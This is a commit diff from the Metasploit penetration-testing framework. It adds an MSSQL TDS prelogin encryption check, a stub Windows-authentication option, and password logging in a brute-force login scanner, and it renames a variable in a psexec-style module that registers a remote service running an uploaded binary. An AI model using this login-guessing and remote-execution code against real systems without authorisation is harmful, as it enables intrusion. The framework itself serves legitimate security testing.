git-svn-id: file:///home/svn/framework3/trunk@12112 4d416f70-5f16-0410-b530-b9f4589650da
unstable
amaloteaux 2011-03-23 20:47:49 +00:00
parent b1178686cf
commit 46cf938475
3 changed files with 195 additions and 70 deletions

View File

@ -27,6 +27,7 @@ module Exploit::Remote::MSSQL
Opt::RPORT(1433),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification', false]),
], Msf::Exploit::Remote::MSSQL)
register_advanced_options(
[
@ -241,6 +242,96 @@ module Exploit::Remote::MSSQL
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
#this method send a prelogin packet and check if encryption is off
#
def mssql_prelogin(enc_error=false)
pkt = ""
pkt_hdr = ""
pkt_data_token = ""
pkt_data = ""
pkt_hdr = [
0x12, #type
0x01, #status
0x0000, #length
0x0000, # SPID
0x00, # PacketID
0x00 #Window
]
version = [0x55010008,0x0000].pack("Vv")
encryption = "\0" # off
instoptdata = "MSSQLServer\0"
threadid = Rex::Text.rand_text(2) + "\0\0"
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
version.length, # VersionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, #EncryptionLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, #InstOptLength
0x03, #Token 3 type Threadid
idx + instoptdata.length, #ThreadIdOffset
0x04, #ThreadIdLength
0xFF
].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
resp = mssql_send_recv(pkt)
idx = 0
while resp[0,1] != "\xff" and resp.length > 5
token = resp.slice!(0,5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
#force to off and hope for the best
encryption_mode = 0
end
#ENCRYPT_OFF 0x00 Encryption is available but off.
#ENCRYPT_ON 0x01 Encryption is available and on.
#ENCRYPT_NOT_SUP 0x02 Encryption is not available.
#ENCRYPT_REQ 0x03 Encryption is required.
if encryption_mode != 0 and enc_error
raise RuntimeError,"Encryption is not supported"
end
encryption_mode
end
#
# This method connects to the server over TCP and attempts
# to authenticate with the supplied username and password
@ -251,91 +342,124 @@ module Exploit::Remote::MSSQL
disconnect if self.sock
connect
pkt = ""
idx = 0
pkt << [
0x00000000, # Dummy size
0x71000001, # TDS Version
0x00000000, # Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x03, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
mssql_prelogin()
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
uname = Rex::Text.to_unicode( user )
pname = mssql_tds_encrypt( pass )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
idx = pkt.size + 50 # lengths below
if datastore['USE_WINDOWS_AUTHENT']
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
false
=begin
pkt << [idx, uname.length / 2].pack('vv')
idx += uname.length
pkt << [
0x00000000, # Dummy size
0x71000001, # TDS Version
0x00000000, # Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x83, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
pkt << [idx, pname.length / 2].pack('vv')
idx += pname.length
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
uname = Rex::Text.to_unicode( user )
pname = mssql_tds_encrypt( pass )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
=end
#SQL Server Authentification
else
idx = 0
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [
0x00000000, # Dummy size
0x71000001, # TDS Version
0x00000000, # Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x03, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
pkt << [0, 0].pack('vv')
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
uname = Rex::Text.to_unicode( user )
pname = mssql_tds_encrypt( pass )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
idx = pkt.size + 50 # lengths below
pkt << [idx, 0].pack('vv')
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
pkt << [idx, dname.length / 2].pack('vv')
idx += dname.length
pkt << [idx, uname.length / 2].pack('vv')
idx += uname.length
# The total length has to be embedded twice more here
pkt << [
0,
0,
0x12345678,
0x12345678
].pack('vVVV')
pkt << [idx, pname.length / 2].pack('vv')
idx += pname.length
pkt << cname
pkt << uname
pkt << pname
pkt << aname
pkt << sname
pkt << aname
pkt << dname
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
# Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
pkt << [0, 0].pack('vv')
# Packet header and total length including header
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
resp = mssql_send_recv(pkt)
pkt << [idx, 0].pack('vv')
info = {:errors => []}
info = mssql_parse_reply(resp,info)
pkt << [idx, dname.length / 2].pack('vv')
idx += dname.length
return false if not info
info[:login_ack] ? true : false
# The total length has to be embedded twice more here
pkt << [
0,
0,
0x12345678,
0x12345678
].pack('vVVV')
pkt << cname
pkt << uname
pkt << pname
pkt << aname
pkt << sname
pkt << aname
pkt << dname
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
# Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
# Packet header and total length including header
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
resp = mssql_send_recv(pkt)
info = {:errors => []}
info = mssql_parse_reply(resp,info)
return false if not info
info[:login_ack] ? true : false
end
end
#

View File

@ -52,6 +52,7 @@ class Metasploit3 < Msf::Auxiliary
end
def do_login(user='sa', pass='', verbose=false)
vprint_status("#{rhost}:#{rport} - MSSQL - Trying username:'#{user}' with password:'#{pass}'")
begin
success = mssql_login(user, pass)

View File

@ -186,13 +186,13 @@ class Metasploit3 < Msf::Exploit::Remote
##
# create the share uri
# define the file location
if datastore['SHARE'] == 'ADMIN$'
share_uri = "%SYSTEMROOT%\\#{filename}"
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
share_uri = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
else
share_uri = "\\\\127.0.0.1\\#{datastore['SHARE']}\\#{filename}"
file_location = "\\\\127.0.0.1\\#{datastore['SHARE']}\\#{filename}"
end
displayname = 'M' + rand_text_alpha(rand(32)+1)
@ -209,7 +209,7 @@ class Metasploit3 < Msf::Exploit::Remote
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( share_uri ) + # Binary Path
NDR.wstring( file_location ) + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start